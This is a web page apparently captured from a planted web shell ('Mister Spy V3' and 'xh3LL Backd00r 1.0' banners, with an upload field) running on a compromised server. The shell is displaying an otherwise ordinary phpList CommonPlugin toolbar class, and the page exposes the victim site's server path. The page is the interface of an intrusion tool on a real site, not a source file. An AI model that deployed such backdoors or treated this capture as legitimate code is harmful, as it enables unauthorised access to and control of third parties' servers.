Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/
Upload File :
Current File : /home/caballoscriollos/www/phplist/lists/admin/plugins/CommonPlugin/Toolbar.php

<?php
/**
 * CommonPlugin for phplist
 * 
 * This file is a part of CommonPlugin.
 *
 * @category  phplist
 * @package   CommonPlugin
 * @author    Duncan Cameron
 * @copyright 2011-2012 Duncan Cameron
 * @license   http://www.gnu.org/licenses/gpl.html GNU General Public License, Version 3
 * @link      http://forums.phplist.com/viewtopic.php?f=7&t=35427
 */

/**
 * This class implements a button toolbar
 * 
 */
class CommonPlugin_Toolbar_Button
{
    public $url;
    public $icon;
    public $caption;
    public $attributes = array();
    
    public function display()
    {
        $this->attributes['href'] = $this->url;
        return CHtml::tag('a', $this->attributes, new CommonPlugin_ImageTag($this->icon, $this->caption));
    }
}

class CommonPlugin_Toolbar
{
    const TEMPLATE = '/toolbar.tpl.php';

    private $buttons = array();
    private $controller;

    public function __construct($controller)
    {
        $this->controller = $controller;
    }

    public function addExportButton(array $query = array())
    {
        $button = new CommonPlugin_Toolbar_Button;
        $button->url = new CommonPlugin_PageURL(null, $query + array('action' => 'exportCSV'));
        $button->icon = 'excel.png';
        $button->caption = $this->controller->i18n->get('export');
        $this->buttons[] = $button;
    }

    public function addHelpButton($topic)
    {
        foreach (array(
            array('caption' => 'help', 'topic' => $topic, 'icon' => 'info.png', 'class' => 'pluginhelpdialog'),
            array('caption' => 'about', 'topic' => 'about', 'icon' => 'gnu_licence.png', 'class' => 'pluginhelpdialog')
        ) as $param) {
            $button = new CommonPlugin_Toolbar_Button;
            $button->url = new CommonPlugin_PageURL(null, array('action' => 'help', 'topic' => $param['topic']));
            $button->icon = $param['icon'];
            $button->caption = $this->controller->i18n->get($param['caption']);
            $button->attributes = array('class' => $param['class'], 'target' => '_blank');
            $this->buttons[] = $button;
        }
    }

    public function display()
    {
        $params = array('buttons' => $this->buttons);
        return $this->controller->render(dirname(__FILE__) . self::TEMPLATE, $params);
    }
}

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat